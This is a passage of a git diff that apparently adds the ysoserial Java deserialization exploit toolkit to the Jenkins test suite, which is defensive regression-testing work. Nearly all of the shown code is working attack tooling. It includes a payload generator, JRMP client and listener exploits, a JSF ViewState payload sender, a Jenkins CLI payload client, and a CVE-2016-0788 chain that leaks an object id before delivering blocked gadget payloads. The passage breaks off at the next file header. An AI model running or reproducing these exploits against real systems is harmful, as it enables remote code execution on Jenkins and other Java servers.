test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java create mode 100755 test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java diff --git a/test/pom.xml b/test/pom.xml index c68107f182..9b4f79095c 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -183,6 +183,11 @@ THE SOFTWARE. mockito-core test + + org.reflections + reflections + 0.9.9 + org.netbeans.modules org-netbeans-insane diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java new file mode 100755 index 0000000000..87f947d004 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java @@ -0,0 +1,34 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.util.concurrent.Callable; + +public class Deserializer implements Callable { + private final byte[] bytes; + + public Deserializer(byte[] bytes) { this.bytes = bytes; } + + public Object call() throws Exception { + return deserialize(bytes); + } + + public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { + final ByteArrayInputStream in = new ByteArrayInputStream(serialized); + return deserialize(in); + } + + public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { + final ObjectInputStream objIn = new ObjectInputStream(in); + return objIn.readObject(); + } + + public static void main(String[] args) throws ClassNotFoundException, IOException { + final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); + Object object = deserialize(in); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java new file mode 100644 index 0000000000..ce33b97ae3 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial; + +import java.io.PrintStream; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.List; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; + +@SuppressWarnings("rawtypes") +public class GeneratePayload { + + private static final int INTERNAL_ERROR_CODE = 70; + private static final int USAGE_CODE = 64; + + public static void main(final String[] args) { + if (args.length != 2) { + printUsage(); + System.exit(USAGE_CODE); + } + final String payloadType = args[0]; + final String command = args[1]; + + final Class payloadClass = Utils.getPayloadClass(payloadType); + if (payloadClass == null) { + System.err.println("Invalid payload type '" + payloadType + "'"); + printUsage(); + System.exit(USAGE_CODE); + return; // make null analysis happy + } + + try { + final ObjectPayload payload = payloadClass.newInstance(); + final Object object = payload.getObject(command); + PrintStream out = System.out; + Serializer.serialize(object, out); + ObjectPayload.Utils.releasePayload(payload, object); + } catch (Throwable e) { + System.err.println("Error while generating or serializing payload"); + e.printStackTrace(); + System.exit(INTERNAL_ERROR_CODE); + } + System.exit(0); + } + + private static void printUsage() { + System.err.println("Y SO SERIAL?"); + System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); + System.err.println("\tAvailable payload types:"); + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize + for (Class payloadClass : payloadClasses) { + System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass))); + } + } + + public static class ToStringComparator implements Comparator { + public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java new file mode 100755 index 0000000000..e508fa6420 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java @@ -0,0 +1,30 @@ +package jenkins.security.security218.ysoserial; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.util.concurrent.Callable; + +public class Serializer implements Callable { + private final Object object; + public Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static void serialize(final Object obj, final OutputStream out) throws IOException { + final ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + } + +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java new file mode 100644 index 0000000000..4e26316f26 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java @@ -0,0 +1,50 @@ +package jenkins.security.security218.ysoserial.exploit; + + + +import java.net.URL; + + +/** + * JRMP listener triggering RMI remote classloading + * + * Opens up an JRMP listener that will deliver a remote classpath class to the calling client. + * + * Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need + * access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}. + * + * This only works if + * - the remote end is running with a security manager + * - java.rmi.server.useCodebaseOnly=false (default until 7u21) + * - the remote has the proper permissions to remotely load the class (mostly URLPermission) + * + * and, of course, the payload class is then run under the security manager with a remote codebase + * so either the policy needs to allow whatever you want to do in the payload or you need to combine + * with a security manager bypass exploit (wouldn't be the first time). + * + * @author mbechler + * + */ +public class JRMPClassLoadingListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPClassLoadingListener.class.getName() + " "); + System.exit(-1); + return; + } + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, args[2], new URL(args[1])); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java new file mode 100644 index 0000000000..6e95b3691b --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java @@ -0,0 +1,141 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLClassLoader; +import java.net.UnknownHostException; + +import javax.net.SocketFactory; + +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * Generic JRMP client + * + * Pretty much the same thing as {@link RMIRegistryExploit} but + * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) + * - not deserializing anything (so you don't get yourself exploited ;)) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPClient { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String hostname = args[ 0 ]; + int port = Integer.parseInt(args[ 1 ]); + try { + System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port)); + makeDGCCall(hostname, port, payloadObject); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[2], payloadObject); + } + + public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { + InetSocketAddress isa = new InetSocketAddress(hostname, port); + Socket s = null; + DataOutputStream dos = null; + try { + s = SocketFactory.getDefault().createSocket(hostname, port); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new MarshalOutputStream(dos); + + objOut.writeLong(2); // DGC + objOut.writeInt(0); + objOut.writeLong(0); + objOut.writeShort(0); + + objOut.writeInt(1); // dirty + objOut.writeLong(-669196253586618813L); + + objOut.writeObject(payloadObject); + + os.flush(); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + + private URL sendUrl; + + public MarshalOutputStream (OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + MarshalOutputStream ( OutputStream out ) throws IOException { + super(out); + } + + @Override + protected void annotateClass ( Class cl ) throws IOException { + if ( this.sendUrl != null ) { + writeObject(this.sendUrl.toString()); + } else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) { + writeObject(null); + } + else { + URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs(); + String cb = ""; + + for ( URL u : us ) { + cb += u.toString(); + } + writeObject(cb); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass ( Class cl ) throws IOException { + annotateClass(cl); + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java new file mode 100644 index 0000000000..9869a0820c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java @@ -0,0 +1,316 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.ObjectStreamClass; +import java.io.OutputStream; +import java.io.Serializable; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + +import javax.management.BadAttributeValueExpException; +import javax.net.ServerSocketFactory; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Generic JRMP listener + * + * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "restriction" +} ) +public class JRMPListener implements Runnable { + + private int port; + private Object payloadObject; + private ServerSocket ss; + private Object waitLock = new Object(); + private boolean exit; + private boolean hadConnection; + private URL classpathUrl; + + + public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener (int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + + public boolean waitFor ( int i ) { + try { + if ( this.hadConnection ) { + return true; + } + System.err.println("Waiting for connection"); + synchronized ( this.waitLock ) { + this.waitLock.wait(i); + } + return this.hadConnection; + } + catch ( InterruptedException e ) { + return false; + } + } + + + /** + * + */ + public void close () { + this.exit = true; + try { + this.ss.close(); + } + catch ( IOException e ) {} + synchronized ( this.waitLock ) { + this.waitLock.notify(); + } + } + + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + int port = Integer.parseInt(args[ 0 ]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } + catch ( Exception e ) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + } + + + public void run () { + try { + Socket s = null; + try { + while ( !this.exit && ( s = this.ss.accept() ) != null ) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch ( protocol ) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + catch ( InterruptedException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } + finally { + if ( s != null ) { + s.close(); + } + if ( this.ss != null ) { + this.ss.close(); + } + } + + } + catch ( SocketException e ) { + return; + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + } + + + private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch ( op ) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + + private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { + if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ( "java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } + catch ( java.io.IOException e ) { + throw new MarshalException("unable to read objID", e); + } + + + if ( read.hashCode() == 2 ) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized ( this.waitLock ) { + this.waitLock.notifyAll(); + } + } + + protected static Object makeDummyObject (String className) { + try { + ClassLoader isolation = new ClassLoader() {}; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } + catch ( Exception e ) { + e.printStackTrace(); + return new byte[0]; + } + } + + + public static class Dummy implements Serializable { + private static final long serialVersionUID = 1L; + + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java new file mode 100644 index 0000000000..84b6ca63b5 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java @@ -0,0 +1,80 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + +import org.apache.commons.codec.binary.Base64; + +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + + +/** + * JSF view state exploit + * + * Delivers a gadget payload via JSF ViewState token. + * + * This will only work if ViewState encryption/mac is disabled. + * + * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + * + * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + * + */ +public class JSF { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]); + + try { + URL u = new URL(args[ 0 ]); + + URLConnection c = u.openConnection(); + if ( ! ( c instanceof HttpURLConnection ) ) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + Utils.releasePayload(args[1], payloadObject); + + } + + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000000..0ff47e8257 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,124 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; + +/** + * Jenkins CLI client + * + * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + * + * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + * + */ +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[1], payloadObject); + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000000..168d17573c --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,215 @@ +package jenkins.security.security218.ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import jenkins.security.security218.ysoserial.payloads.JRMPListener; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * 1. delivers a ysoserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + * + * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + ObjectPayload.Utils.releasePayload(payload, object); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000000..99b7fdde4d --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,80 